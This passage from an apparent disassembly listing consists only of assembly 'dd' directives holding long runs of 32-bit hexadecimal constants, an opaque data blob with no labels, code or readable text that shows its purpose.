		dd 11C65834h, 0CA0001A1h, 28607A56h, 84A07D5Ah,	0A900E4A3h
		dd 0C7C88123h, 0E21EFB5h, 22F02848h, 60F22A80h,	2D601CE3h
		dd 2F51BA68h, 0BEF6B2h,	4B327249h, 0A2C1556Fh, 713EED73h
		dd 0A61C83F4h, 901B7D13h, 39528A9Eh, 1E304CB7h,	46C32318h
		dd 1D0FB160h, 12495BB4h, 7C9016Ah, 0AE4A31D4h, 8D6CA7A0h
		dd 0E002079h, 6BFF17F4h, 12D7855h, 0A4DC3553h, 800706F7h
		dd 4BFB7E46h, 957210h, 74516B7Dh, 0D5B2C85Ch, 0B785BD00h
		dd 4C8AC2DAh, 98C30083h, 50C50B26h, 0C00726Ch, 0EB03E0FAh
		dd 57F8057h, 58D8780Ah,	819B4027h, 5D39424Dh, 9AEA430Eh
		dd 76BE8C1Dh, 58A80011h, 0D1AB38E6h, 7B02DBF5h,	9DAFE5B9h
		dd 143160D7h, 44A60680h, 348330C7h, 23359E18h, 114ADC1Dh
		dd 39946BE8h, 7AB4E042h, 0A47486DFh, 9B7700D2h,	6BA96F81h
		dd 0B700E2A2h, 0E8204019h, 121411Ah, 0E3F54EE9h, 0F4D4ECC9h
		dd 324F466h, 0E5002A17h, 7D80E9CAh, 0A079031Dh,	39C6A1B3h
		dd 9ED877D8h, 2F404A4Ah, 0B00B1F4Ch, 72430212h,	444D8B60h
		dd 69D8960h, 0C0BD5F28h, 7E40E302h, 6070F4FFh, 9801A6h
		dd 0B7CBAA48h, 4D32DFA5h, 94427B00h, 0A1D9F1CEh, 0DDF73FD3h
		dd 0E69E6703h, 0BE98ADAAh, 83FADBB6h, 84910607h, 5420EBBDh
		dd 0E16BF2C0h, 0A6CBC4Ch, 0B9F59F1Ch, 515E2D91h, 89066801h
		dd 1480BAF2h, 0CBE5F760h, 4200D6EEh, 0FF374F2Ch, 608E0B6Dh
		dd 0FC6525E9h, 39989770h, 9992A40Ch, 71D1B19h, 0C2E2BB59h
		dd 0EC5370B0h, 630CF70Fh, 0E212EB89h, 0DCD21FBDh, 8212398Ch
		dd 21DE404Eh, 0E5E7653h, 0FB94702Ch, 0CF95A700h, 54118h
		dd 0E0307E11h, 66CC7863h, 0AD161C04h, 26904819h, 30B9455Bh
		dd 3CE1C5DBh, 80C0AA99h, 11B8D9B5h, 6A7A1CA9h, 0CD05405Eh
		dd 0D8412032h, 0F5D2A000h, 58B1D1AAh, 0AE75C4h,	0E7D481B9h
		dd 0A25DE9FFh, 0FE612500h, 5F750921h, 326A0082h, 39718564h
		dd 82A38D6Bh, 437B95B0h, 801CA839h, 870AEB23h, 1F1E93DFh
		dd 82201F47h, 0A481972Bh, 0FCEE9C0h, 92D62095h,	0EFD19F4h
		dd 24B0F19Dh, 5A6C7020h, 561E2877h, 0BBAE5C7Eh,	2F677D61h
		dd 16987D8h, 6C886331h,	618B6634h, 768AE818h, 18A23E52h
		dd 0EE989B74h, 0E6890956h, 0D372C681h, 0F1ED837Bh, 1F6D2CFFh
		dd 8ABA8F5Eh, 13EC815Ch, 0EE14890Fh, 8AE38F53h,	4B3B0CC3h
		dd 6987F888h, 2258381Ch, 3A0F6803h, 148B07E8h, 15C4813Ch
		dd 2466543Dh, 68151483h, 33327F2h, 0FF08408Fh, 9358B234h
		dd 514B0F1Ch, 0C18AE189h, 870CB162h, 0E980800Ch, 0FFFC3E6Ah
		dd 40B100A2h, 6D1D20F5h, 3F631BB8h, 0F8C50392h,	185ABE0h
		dd 0FBA12EF8h, 40F13017h, 82EE67E4h, 7FF07897h,	0B85A2456h
		dd 46003E3Ah, 0FF706827h, 36F862B4h, 43008BF8h,	5D2C5942h
		dd 64D06Fh, 589DBB56h, 0F629A305h, 0F4B60A02h, 0C3DD54F3h
		dd 605DD2FBh, 36138EBh,	8A3C3F51h, 0C4E04E36h, 6489953h
		dd 52690168h, 9E9C18Bh,	0CE2AE780h, 7D5D012Dh, 0DFE0AD12h
		dd 8B0FB6F3h, 9EF3A1BDh, 9CA68308h, 348CE1F4h, 974E8730h
		dd 8166C398h, 9170C70Ah, 17A5F150h, 801991FCh, 0F691CC76h
		dd 89C80B2Ah, 0DB61759Dh, 0B23A2B6Ah, 0D2001D23h, 0CE12C53Ch
		dd 2BC00CA5h, 0D6AE6DCAh, 543D5536h, 419428C8h,	8B0F27FEh
		dd 0D95CA812h, 29977049h, 1B8E890h, 0A6F3BA9Bh,	0D71F42Bh
		dd 505F6E01h, 61605153h, 0B590BADBh, 0F1678359h, 6DF83BF4h
		dd 0C1A1223h, 1D4CF5B8h, 801B11AAh, 187D96C7h, 9DE818A0h
		dd 852946F6h, 0B482394Ah, 801076E9h, 6EF3E258h,	0B701D4B1h
		dd 0B4E4A280h, 1D86CF5h, 0DA83123Ah, 1EADF31Fh,	3BC9CEBEh
		dd 0AD917976h, 0FE098C10h, 9000A9F2h, 0F572C3Ah, 1E3CC39Dh
		dd 64298AC4h, 1A09084Ch, 89D3FF07h, 97997D86h, 0B971A03Ah
		dd 1B181959h, 0A79B1F05h, 0FA063817h, 194447CFh, 0FD22E1BDh
		dd 8D382FAAh, 0E41419Eh, 0C01688BAh, 1DA1239h, 2ACD8D12h
		dd 79C8ABF6h, 6420C569h, 5FB76017h, 484987Fh, 29A450CEh
		dd 8002E802h, 0C97D21E1h, 9D8B0CD2h, 0F7E06FDh,	6D218F5Bh
		dd 0B225E1B5h, 0F96302Eh, 0E922F0BFh, 0D13C0013h, 0F5D981EFh
		dd 0B9002FFFh, 0FC8957D6h, 12293B1Ch, 0F4475D53h, 0E08B8F8Bh
		dd 9714598Dh, 400467A2h, 66103C19h, 0B41A4ABFh,	9D10A9E9h
		dd 81159174h, 11E9121Dh, 4CB51580h, 7817E7CCh, 50B4C100h
		dd 0C6CDDF37h, 7300529h, 985C710h, 0AA5B0149h, 1DAC27D8h
		dd 0FC8778FDh, 552E970Bh, 5BB63FE6h, 0BD952943h, 40099AA1h
		dd 2677E2Eh, 0C9858980h, 4005241Ah, 0FF32D0A0h,	8D4942h
		dd 384C8188h, 2E1F41A9h, 442A4274h, 0FA001B23h,	0ACF63B33h
		dd 1ABF2EE2h, 38F21439h, 79950183h, 9040BDBCh, 8C15A835h
		dd 9197C678h, 0E3154239h, 862F5F87h, 0F001623h,	0BD29D926h
		dd 7A719ACDh, 93824A50h, 52C360F2h, 585A31C8h, 8990614Fh
		dd 802AED95h, 22F5A3E9h, 148110AEh, 0C94BB038h,	0FDF3E04Fh
		dd 5EBDA517h, 2A9F2B00h, 13694517h, 0E670E6EDh,	49A3E086h
		dd 0A23B09BFh, 0A9F9671Dh, 0E58E7A00h, 99BE28h,	7B769E23h
		dd 0BFC54373h, 6EDCC700h, 371E4A4h, 29CD24B5h, 0D8B68E12h
		dd 0E5928969h, 0EE400A54h, 3F6547DCh, 5D842BD6h, 0AD524EF6h
		dd 0E5DB4EACh, 9E2703C0h, 3D054152h, 14830FB0h,	0E23D1Dh
		dd 0F1C6E5A4h, 0A387B05h, 0A0673600h, 8A6CF761h, 3EC3528Bh
		dd 3E3016E2h, 0F898587Ch, 5CA25D22h, 0BA26585Ch, 466F00DEh
		dd 19556F4h, 890937F5h,	2013ED8Dh, 2BE2F77Ch, 602EADD8h
		dd 64014208h, 68AE5305h, 9520E898h, 2E95F5h, 8AFB16Bh
		dd 7A61EDFCh, 0B401A5E2h, 0A88248D4h, 0CC20DDF7h, 935F24FAh
		dd 0C5902F67h, 0FC09E5DAh, 4253D8h, 0A728BE72h,	7720EFCEh
		dd 4CEDF050h, 932430F8h, 4E2FDEDCh, 56F69A19h, 40D8409Fh
		dd 0F2098352h, 7B462EB6h, 0AF6DA79Ah, 76D0E440h, 23390255h
		dd 57DD8B7Eh, 1BA27243h, 84B05F03h, 0C9B8E4A9h,	530E1E00h
		dd 0C8C5B238h, 0F3B7240Fh, 0E86009DEh, 9979C090h, 9E02A40Ah
		dd 926EBF9h, 61242D10h,	203928B9h, 24970991h, 0AC5784B3h
		dd 0C7182440h, 0CD6BB16Ah, 1DADC036h, 0E50F8AD8h, 44BF3BACh
		dd 0F9E80C9Bh, 30A6E4Ah, 0ED21F1AAh, 9273E0B4h,	491CB8EBh
		dd 9B4A9DFEh, 0F6578057h, 49C426A0h, 8A4D9564h,	0B190A1BCh
		dd 6D20C290h, 9B584E2Ch, 239802Fh, 90FED821h, 3D6997Eh
		dd 7F34C727h, 2F6B49C1h, 69A56A48h, 0D853F8FBh,	14218AFh
		dd 5BEE9F71h, 44B9CF3Fh, 586BB839h, 6AE0C017h, 98436E9h
		dd 8D0FC25Dh, 0E998D192h, 35043DE4h, 5E213E41h,	523483BDh
		dd 0D16FA7h, 0EB93C8D2h
		dd 9BFC26Ah, 507BC1F9h,	69917178h, 0B6181AD1h, 77C81602h
		dd 8251EDACh, 9157DDAh,	0F1109871h, 0D3AD1CFDh,	6156E807h
		dd 8A53F74Dh, 0ECFCAA95h, 335B4D18h, 0E129FCBDh, 0B6C4E802h
		dd 401571B8h, 8020F5EBh, 0B7B7C32Bh, 261011Ah, 0C6E2BF66h
		dd 6CC58B5Eh, 0ACECBCA9h, 0C5B4F400h, 77F541DAh, 80EDB1D3h
		dd 0DD3E455Ah, 0AF01DE55h, 0AC8C1C9Fh, 60100DE9h, 890001E1h
		dd 0BDDC0C76h, 0DBFB08Fh, 28E93CD8h, 0B9D52925h, 0F2EEF0h
		dd 8B9EA873h, 1AEBBEC0h, 0E72CE425h, 6716E4B8h,	0C78DE4B0h
		dd 0DD20B585h, 7378471Bh, 15D17E91h, 7366C919h,	217D1FE4h
		dd 0AFAD7200h, 6EA49F4h, 2E8A1347h, 1E97C6D2h, 291044AFh
		dd 0F21DB526h, 808CC6A5h, 0B3ED33FCh, 85290795h, 417239BDh
		dd 4D5CC549h, 8C15B894h, 52B11631h, 2F411A71h, 90022649h
		dd 9DC5076h, 0C40B3646h, 4931E604h, 797AE9h, 0E6362BBCh
		dd 0BB75D45Fh, 2622513Dh, 1DED064h, 268DCECAh, 0C99D292Fh
		dd 0FAC79233h, 9B8063DBh, 0F5F6D2AFh, 80F98601h, 31F18D29h
		dd 7509C591h, 62537803h, 0AC8C51DDh, 1B2801ABh,	0D84DE307h
		dd 0B04FDF7h, 820F16C8h, 0FA601988h, 0C3AA01CBh, 85895352h
		dd 9EAC625h, 1811B51Dh,	35B0E580h, 0F16DCE6h, 0F8880C87h
		dd 0E80D5245h, 0E3056D16h, 301BB25Ch, 3D002E8Fh, 0A0A99707h
		dd 528D0953h, 5F2589C1h, 0FE6181E2h, 211F24FBh,	0B7C17BC9h
		dd 1879887Fh, 6619F30Bh, 0C4278564h, 2AAB601Ah,	7334092Bh
		dd 0A28472AAh, 81664005h, 0CB602CDFh, 6A66F2BEh, 0C7F75058h
		dd 0F47038B0h, 0B63B7E53h, 14467C71h, 0B589B704h, 4953E259h
		dd 4896BC45h, 0D9043309h, 0CC3B63F9h, 92F6D7E3h, 27014778h
		dd 0C7AAB656h, 9E676A81h, 0AB28A8A0h, 0FFF1C001h, 8B0F35CBh
		dd 6A8203Bh, 0B4078E1Bh, 0F9129E67h, 0A3020855h, 68E84C24h
		dd 0B62C595Ch, 20534BA3h, 0E03F7371h, 0C903A1E6h, 0B302634Eh
		dd 0F8C5250h, 0AFBE6605h, 0A7CF557Ch, 0B00BB6BCh, 64C4F5FCh
		dd 6990062h, 26EEF067h,	6400540Ah, 92D0C044h, 149E621Ah
		dd 0E851BD29h, 0FD9589C1h, 60084008h, 212DB501h, 0D6BF3A0Fh
		dd 0F961658Fh, 79AD659h, 82263681h, 0DDC220E6h,	0CC680141h
		dd 7DC71FD2h, 0BEB7405Bh, 37C71F1Ah, 3E6CB6B6h,	0E92340B1h
		dd 9038485Bh, 16F0AB2Eh, 0DB15C554h, 0A5814172h, 0B1AB70Ch
		dd 0D9C011F3h, 8B0B7D0Dh, 0D305559Dh, 1FE0D0C3h, 82CA7638h
		dd 25B8FA96h, 5BCE5858h, 60847330h, 0AFD7705Ah,	0D87DF1D0h
		dd 613E2DF5h, 5F9277A6h, 0F178AE93h, 0F6A11C16h, 0FA7C00BAh
		dd 4A68BD83h, 4D4594B6h, 38EC32F9h, 0E8DDA300h,	0D0FA7EB0h
		dd 8D0F2E8Ch, 0C8E944BFh, 3A00804Fh, 0E3A1ED3Ch, 0C2842Dh
		dd 27654EF3h, 6C14CB40h, 1169117h, 97D9A480h, 3DACFDE9h
		dd 0A3B435B0h, 0B53104A5h, 64AA055Dh, 81527EFh,	2810F86h
		dd 0F08B240Dh, 9EF12059h, 1D4676E3h, 0B1646F00h, 0FBF5BD72h
		dd 33137E00h, 0B4BA2BBEh, 6874B622h, 0BFD5804Dh, 1420F6D7h
		dd 0D46B2300h, 0CC09F971h, 0A3AF0B12h, 59625E8Ah, 22803BB7h
		dd 0E4376F0Eh, 33150BEBh, 61641ADCh, 0F205145h,	8B22840Ch
		dd 64429506h, 0D04B73D1h, 447490BEh, 0E700A710h, 0BB54DF48h
		dd 1611E256h, 91955782h, 4C830F1Bh, 5E4DF1B7h, 5C304E98h
		dd 2FC542E4h, 0C861A2D8h, 0F55F000Fh, 0DEE93061h, 0C59529FBh
		dd 7024215Bh, 57CF4201h, 48F098B8h, 0B5CB007Fh,	0D7E21451h
		dd 4F4F2183h, 10AD9414h, 0B61306A1h, 0E68AC412h, 649AE0C8h
		dd 1C2B1E32h, 0C4D25358h, 0B83EFD99h, 65FF090Bh, 0B9E4FC1Eh
		dd 1B4E04BFh, 0BCC38B05h, 74054EBAh, 0F6278A0Fh, 0D040E88Bh
		dd 61A007Eh, 7B3D7AA2h,	84015930h, 0EFD5DDBEh, 9D34A3C5h
		dd 3C5F812Eh, 0AEDB5F76h, 9133D880h, 0ABA06293h, 14602985h
		dd 2B61D7ABh, 4B61F9D8h, 4041ED9h, 1E0245DDh, 9D059396h
		dd 0BC10204Bh, 9D5D0179h, 0F76359D9h, 6052EEh, 9FF66CA3h
		dd 7F04421Dh, 0F0EAAFA0h, 605A2B25h, 95935E7Ch,	6B8B31C1h
		dd 0F0A9AA25h, 23032ED3h, 69C12618h, 401D602h, 0ED697F59h
		dd 89AE4014h, 2760B59Dh, 0ED850944h, 246A912Fh,	8FE60377h
		dd 70A2F835h, 0D270515Bh, 0E00D05FBh, 1685897Fh, 8201875Eh
		dd 0A25C064Dh, 0DA17C942h, 76294506h, 30D2E0A2h, 253726BFh
		dd 79892AF3h, 592D2466h, 0D5C696Dh, 0A26AD86Bh,	3E7DE470h
		dd 0CE041514h, 9440B4B1h, 23B53A79h, 0C00C1C1Dh, 8DEE39D6h
		dd 0FA16E9C6h, 0B7E352E1h, 2FEF8140h, 0EECA2E23h, 398E16B7h
		dd 0E2F80156h, 207C5752h, 0AB5CE480h, 690004A4h, 0D026640Eh
		dd 247A7D18h, 285E9A6Eh, 28D1B396h, 0E29209Bh, 388D585Ch
		dd 2D7A41EDh, 0F66A2B63h, 0D27A007Fh, 55776713h, 0CB489080h
		dd 0F5B508D6h, 0A3492809h, 966EB707h, 6E7B07C9h, 30BF001Dh
		dd 0C053D65Dh, 38FEA209h, 0E88291BEh, 65190BCEh, 0E8620ABEh
		dd 96D63DD0h, 0A8A37B17h, 93FD832h, 424B3074h, 401E5605h
		dd 2B4F4DC9h, 504BDB07h, 0C40C784h, 43D7863h, 436134E1h
		dd 360B273h, 0B095CFB9h, 8EA5F005h, 57DC2D5Eh, 0C2970591h
		dd 0E7628B4Fh, 6DC852Ch, 952954CCh, 2053C989h, 0B2B5ADh
		dd 4DE5F59Fh, 92687433h, 0DEC0B068h, 2C5BA0BEh,	38EFC32Bh
		dd 88F03D45h, 29E98E27h, 0A10EF712h, 36A4A10Bh,	8BF600C7h
		dd 0B8ACBFC0h, 0ABB4CC7Fh, 3E87C4ADh, 0A883FFDCh, 0FB333A91h
		dd 717C64B1h, 0BF61013Ch, 69B7D839h, 4AE45E5Ch,	405328D2h
		dd 4C0137B1h, 6E9AA495h, 1B11D01Dh, 0B0D89380h,	0CE0B838Eh
		dd 842979A4h, 51051A13h, 0CEAAA35Fh, 4FE91232h,	760B45E8h
		dd 2A33CB0h, 0D319E107h, 2C76BECAh, 50671B7Dh, 881658BFh
		dd 46643A9Fh, 76F8A582h, 0D101DE01h, 6D6E9796h,	0E6C455BAh
		dd 8A6002FCh, 0F9B503F7h, 0BF8BD256h, 1F6C4C6h,	717BDC22h
		dd 2F61CAF6h, 1EBD24C1h, 0C1B85829h, 0A0CCF700h, 70D3C75Ch
		dd 20554AA8h, 4F810DDBh, 5461BF09h, 0BB7915h, 6DB2103Ah
		dd 0EC1E3516h, 8A40FE92h, 0F2FD2E4Fh, 841B4960h, 5EA37B0Bh
		dd 55511184h, 95ABC72h,	2B336F8Ah, 0DE3843C6h, 462F1689h
		dd 1CB33AC8h, 40BF2DF4h, 0E28BD511h, 0EE4E6834h, 7129E9C9h
		dd 178F01Ch, 8D89864Ah,	25452CB5h, 700E7B5Eh, 98FA4C78h
		dd 2B60C603h, 2237D95h,	3047D8A7h, 0D2432D4Fh, 5175A700h
		dd 7DBAC554h, 5E533ED4h, 43B1AACh, 91663C38h, 7D8D9DDCh
		dd 0ECF5415Bh, 2B4BE9FEh, 0DB2AD4F1h, 320B8000h, 0E0C839D8h
		dd 4F132F7Ah, 20051C4h,	55AA2C3Fh, 0F8AD91C5h, 96A0E63Dh
		dd 7465409Fh, 5A00D9FCh, 20587C7Eh, 1FC891E6h, 8138F5E8h
		dd 9D01CF41h, 5FAD24FDh, 16415996h, 8FCFE1Bh, 0AACB008Eh
		dd 4E4BB99Ah, 1D58A68Dh, 0F3ED075Ah, 13500247h,	90705521h
		dd 6EC14F1Eh, 0D3E51628h, 82B72AC4h, 22A6C800h,	134418Bh
		dd 53B26600h, 0F978DF7Ch, 322404F2h, 0E691CBEBh, 4B16E04Bh
		dd 0DFA01CDh, 71FFB7E9h, 66860B2h, 0FD87858Ah, 448CEC56h
		dd 0AD1AC457h, 905F0015h, 1DC7BF50h, 0E53F2E41h, 50716CF3h
		dd 86DC7D0h, 2C0D9529h,	820F4A31h, 8BC0B76Ch, 3DBD89FBh
		dd 0BB9B4DA9h, 0BC6F4D70h, 0FD220F18h, 0EBC1B15Eh, 70E0EDD5h
		dd 255BCDADh, 9400137Fh, 4B423A86h, 0F912BAB9h,	533062CCh
		dd 23FC56h, 78D04613h, 0B6376160h, 890CD901h, 0A24753ABh
		dd 7908058h, 0E28BF66h
		dd 0B580C550h, 0F452DD7Ah, 0DE4E35BEh, 0F99006D1h, 1CECE76Ch
		dd 402E008Ch, 77B9BE48h, 0A55858E7h, 0A1FBC0CDh, 162BD21h
		dd 0DA249A97h, 0E433D00Ah, 6C9D2389h, 0D6B5BF4Eh, 0F0B0FA00h
		dd 0FE7F531h, 8B8C8866h, 2046CD16h, 162DCED9h, 5E269AF5h
		dd 6007DC5Eh, 0F117660Ch, 0BF464D0h, 9A52DBDh, 615C49A9h
		dd 2FE100DCh, 8DEB9C8Bh, 8211BD01h, 1E750AE9h, 4210174Fh
		dd 9765BE5Ch, 890277DBh, 27218D95h, 0A57198BDh,	4F397925h
		dd 0C101FAB8h, 55E96B26h, 0A820F382h, 601A4061h, 0CAB7BE04h
		dd 0BBB23197h, 2F10D00h, 0ABA1A5A9h, 0AD3C615Bh, 5BC08A2Dh
		dd 60822779h, 0ED139910h, 4280D35Eh, 0FA9815CEh, 6A5C2A7Fh
		dd 60FF1D35h, 83718D1Bh, 416877F8h, 12A2AD23h, 0B837759Bh
		dd 69021F1Fh, 0DA8FEA41h, 0E7734AAEh, 0E8BBB344h, 9FC0C96h
		dd 72FE9AB1h, 8A93487h,	549216BBh, 880CB5C8h, 0BC147E9h
		dd 3488F781h, 35F574E4h, 0A33285C7h, 316B7D74h,	70795B0Bh
		dd 0F10ACA37h, 300C2241h, 310C114Eh, 8DB32D95h,	514BEDA6h
		dd 8A656337h, 0FB5F1909h, 8435AFE5h, 0BC02A207h, 7AB1D8D5h
		dd 52B81D7Dh, 11018FFAh, 38EC5B05h, 7A6C12E5h, 0F0F34789h
		dd 77CD00BFh, 4A6B691Bh, 0DF01079Fh, 0D4B1A017h, 0ACFB30Ah
		dd 8BD1BD29h, 9439C6ADh, 0C69DD438h, 36CD0444h,	0B303EDE9h
		dd 3216B2BBh, 102D88D4h, 16CD99A6h, 1A979D0h, 5FA36219h
		dd 0BC183DB0h, 0F9A600E1h, 565F9860h, 0C909BD1Eh, 5E9DB533h
		dd 49231E4Dh, 67E08A1h,	4D7127BDh, 0F32C1CAh, 0CA8F304Eh
		dd 20B4FCF0h, 49010526h, 0BA6DF698h, 0ED908C2Eh, 0A64E1A42h
		dd 29B4E061h, 0EB79558Dh, 73A69700h, 0B6BD7103h, 3F812756h
		dd 0E40CDF81h, 13B458FCh, 7358FB25h, 37F654F0h,	0C7D82B29h
		dd 0F4181BD1h, 61DFFB00h, 0D8111874h, 8036B993h, 9A623E90h
		dd 63008C01h, 82716FF8h, 9FED7F7h, 596A70A5h, 0D561B9F4h
		dd 0CFEC967Ah, 5ED0003Ch, 932E24EEh, 591307BFh,	3B8D7706h
		dd 344B302Ch, 812AC139h, 465D6D35h, 0D5B64BFFh,	1535A9A0h
		dd 50BF570Eh, 5E7362ACh, 434CDAF9h, 0ACF4495Ch,	2BBA3EA3h
		dd 609F550Ch, 0B08DACAh, 27034585h, 30AA9352h, 3D7BD5Dh
		dd 0BF692764h, 0FACCD1D8h, 598D8927h, 0F324B973h, 31579729h
		dd 0E8D69018h, 0C2127463h, 7D16E283h, 87094795h, 1B462AE1h
		dd 70E6FB25h, 0BE05C0F2h, 58ECF7E1h, 1723A23Ah,	38F67F07h
		dd 691BF537h, 29129145h, 0B94764D6h, 608CEF29h,	76E3D48Dh
		dd 20F2F649h, 0C1832F1Fh, 45387698h, 53295424h,	12BF2A00h
		dd 26D81A10h, 13611811h, 0C14EBCE9h, 1B09B523h,	25DA5F02h
		dd 0FBBE3269h, 0C80F79C8h, 0DF093DB6h, 0F1BC8E33h, 9620015Ah
		dd 0D0DA68D0h, 0EBF0738Ah, 0D2E72116h, 906F54C5h, 0AC7E0A0Bh
		dd 0B35B4A64h, 6A4B41CEh, 0B98A4AC4h, 0F0E6E64Bh, 54C787h
		dd 0EFB7D9A3h, 2B64D857h, 0F0A726F9h, 0D90C09h,	0FA9F1D0Ah
		dd 0A99D89C7h, 60692E41h, 0B14F2D88h, 0EF020374h, 0BB55E828h
		dd 4A473CE2h, 0AE6014E4h, 0ED97C08Bh, 9DC9C113h, 4C7F6D2Dh
		dd 79FC1E32h, 1F45B504h, 0B4C21216h, 0CF0DFD3Fh, 72FC710Bh
		dd 7CB8FE79h, 96978E02h, 0D9F08B0Dh, 352EE65Fh,	0C02DCD97h
		dd 32B33517h, 46538B9Dh, 71DAC55Bh, 4A5BB71Ch, 20D91CC4h
		dd 1E19F041h, 0FEF89003h, 52A8529h, 0F8B40F0Ah,	4DE8C2Ch
		dd 0E9FACF18h, 0A82F400Dh, 153EB7Ah, 0A2B48B87h, 34B64A10h
		dd 0B9FF535h, 70E8732Fh, 2E758848h, 55BD0912h, 0B75E86B0h
		dd 0DB5D9490h, 5AC9F500h, 44F1570Eh, 0D8A400FFh, 9C172B6Bh
		dd 150458B7h, 458D0942h, 0BD5F14E0h, 211CF305h,	1D75ACh
		dd 17B8F781h, 455CB30h,	0FF0D6DC6h, 1006E7Ah, 0D05A5310h
		dd 1A9074ACh, 0E98C0F2Dh, 0FC615193h, 10195C40h, 0E360EC5Fh
		dd 20C24131h, 4196C881h, 61706A02h, 70958589h, 6E2AEF6Fh
		dd 2A2300DCh, 8992B9B3h, 8B4851E1h, 8C2DD203h, 15066009h
		dd 10B06755h, 86820970h, 2084CA33h, 0B90025B5h,	600F9BDEh
		dd 0B649E961h, 0BD330559h, 8BA74421h, 0B8FBA9C1h, 376A0B6Eh
		dd 0EF46F679h, 18F1DB80h, 18F15D91h, 0EC1C0518h, 1AED7D42h
		dd 0DC457CCBh, 99717400h, 784EBC2Ch, 152E250h, 0E9AFC1BFh
		dd 2F310F2Eh, 585A2D04h, 90096BB0h, 4BE7963Bh, 150276B7h
		dd 0D697A1D9h, 8777405Eh, 0D601F07Fh, 2C9CD08h,	0BF40A211h
		dd 70BDBFC5h, 394F5641h, 47D164F0h, 94FD4059h, 2965261Bh
		dd 2F81B541h, 6D102A6Dh, 0B36B9260h, 49B5D30Eh,	0BD2AE3Dh
		dd 256C2619h, 1571AA91h, 54071418h, 0DFBA40BFh,	0B6A8D5FAh
		dd 62B4611Ch, 5FB8D6E8h, 4EBFD15Ch, 0DE0CE4C9h,	5A93B052h
		dd 0F8D3362Dh, 0F1C5920h, 7503BF66h, 0BC7AA992h, 0F511635h
		dd 2D77898Ah, 844E023Ch, 0D11954B5h, 0D2E2A7E6h, 19FE479h
		dd 462585CBh, 0D460B4C1h, 0D62EC600h, 0AF936CEEh, 0BEA1133Ah
		dd 0DB309A2h, 73E8E456h, 2A98267Eh, 68CF017Ah, 68092FE9h
		dd 6077B1D2h, 0A8163D09h, 0E7E100CEh, 63952812h, 2953F53h
		dd 0D1F11055h, 0A112E4BFh, 0B804295Ah, 48B41DB9h, 89DB49E2h
		dd 42198D04h, 0F23859Dh, 0B1EDB584h, 47B13C8Ch,	0C612A039h
		dd 4EFCFA20h, 0D3211389h, 294D8DB4h, 2A4BCB8h, 0BD83FB9Fh
		dd 0A8D15E81h, 0FC503111h, 0E913408Dh, 376D6769h, 0B61081F3h
		dd 965538BCh, 4CB81556h, 675E8184h, 1A2C8649h, 0B12C5C77h
		dd 528C14FCh, 8A703101h, 545DE685h, 0DB41AACFh,	41A59D2Ah
		dd 685696F2h, 1D6E5FA4h, 2AF7FF00h, 7AEFC43Fh, 9ABCF816h
		dd 1880E5B8h, 25E9C30h,	1FA02039h, 0B8C0159Eh, 9F975DA3h
		dd 89F91CF4h, 656AE58Dh, 7C1AC279h, 0DC957645h,	0BE02840Ah
		dd 0D909C533h, 79A27B20h, 172181Dh, 6266718Bh, 0D5DC3FF2h
		dd 27203AA7h, 415853h, 0DD46364Bh, 6C61676Dh, 0C3754C00h
		dd 98E1694h, 5090019Bh,	3A0580BEh, 0F681DC28h, 7ABBB017h
		dd 7FB48A53h, 16D85DE9h, 80EF9B4Ah, 75A2E360h, 200690B9h
		dd 4C971989h, 2D951323h, 229E327h, 0E64411C6h, 53375770h
		dd 0F162DF04h, 0BD1520F8h, 134EBDC5h, 13776F9Bh, 0B10B5055h
		dd 89D90773h, 0EB53A508h, 0FF181951h, 0A91FF903h, 0C48BC5F8h
		dd 68B8D9ADh, 0F9BE5102h, 78640FEEh, 0DC49B6DAh, 5CD2CD00h
		dd 0F2827AD9h, 0B828091Fh, 72D1830Fh, 6B0E9602h, 401D5E6Dh
		dd 4503DA8Fh, 0B7AB8D00h, 9BC47B21h, 200AB4EAh,	16D14AFCh
		dd 81259E0Ah, 760D89D6h, 0ECD3388Ah, 0A6DB8BC7h, 8100385Ch
		dd 596854E7h, 0A6BA9F3Ch, 360766Dh, 2A1E90Fh, 9AF91047h
		dd 315AE836h, 92245201h, 38EEEA06h, 2120D472h, 0F24E5F77h
		dd 0B0F81B31h, 0BEB77FC2h, 274F2A1Fh, 61FC8EC9h, 1EDBD23h
		dd 0D44BBE00h, 927AF924h, 3F7810Eh, 0FA720C09h,	0E07ECD71h
		dd 0B9928945h, 0C4CA9325h, 0DB7200F9h, 0A5BE9C90h, 11E44330h
		dd 46D92000h, 295F51CEh, 5CC92CEFh, 8024AD97h, 9D3141BEh
		dd 0BF2722A5h, 0C5AC6A4Dh, 0C480E09h, 3F5480CEh, 0B55BB2D9h
		dd 63EFF5EFh, 805AA3BFh, 195D51DCh, 0B4601B4Dh,	815210A9h
		dd 893902C2h, 615F119Ch, 62D9D242h, 9525803Ch, 0F9076FDEh
		dd 9B4007D7h, 0A00E43A6h, 0B88C6892h, 93F0C793h, 5C9201AAh
		dd 0F2B8E199h, 2C353CEDh, 0B1AAA4D9h, 0EE0F88Dh, 2F4770F8h
		dd 0DBC44D39h, 25C7CE1Eh, 6EA3F341h, 0DA214C21h, 78B80C2Dh
		dd 0E3756C05h, 0BCC58A1h
		dd 0B147F7Eh, 7C9921E5h, 881C2952h, 0ED2501A4h,	0E919E010h
		dd 183961DBh, 9A039674h, 0F068B2B1h, 4FC6F92h, 0C1831CB2h
		dd 2D3D6FBEh, 34E0A403h, 0F17233Fh, 61ABE7A6h, 35CCA62h
		dd 0F21600DCh, 0CE1E094Bh, 8D5B5399h, 20DED022h, 24C471BEh
		dd 0A554625Ch, 5A810ADAh, 3B9D8953h, 5B5EE944h,	66C0C8DBh
		dd 0D5470CEFh, 1926107h, 4DB92B54h, 6D4FC016h, 9E07AED1h
		dd 0E361D49Bh, 0D1B6F585h, 0A147572Dh, 0B96214C4h, 3129B8DFh
		dd 8656822Ch, 0C06BCD4Bh, 67DDF04Ch, 65209AB8h,	60BF0524h
		dd 0A84B57D8h, 1B410461h, 0FB276750h, 87807ED1h, 0BAC08EAFh
		dd 6B3300AAh, 0A6737084h, 391796ABh, 0C00058F9h, 61EDC0EAh
		dd 90854BC7h, 39CF3FA8h, 86E1F5Fh, 77A8DB1Eh, 0B3FA25A2h
		dd 3530CDF3h, 8066DB2Ah, 11DBD8Ah, 3191208Dh, 652D85E6h
		dd 0B3564E21h, 0F042D11h, 640E5303h, 61CB44C2h,	231D6BAEh
		dd 2880118h, 4092A19Ah,	7BA9D7ABh, 7C6E905Fh, 1B250D00h
		dd 0E3083CE7h, 0D19E8A2Fh, 0C141005Ch, 3EE04623h, 0C89BB20Fh
		dd 0E00D4E42h, 0C95AC2D5h, 99E95C91h, 0D63B6014h, 0C08DBD13h
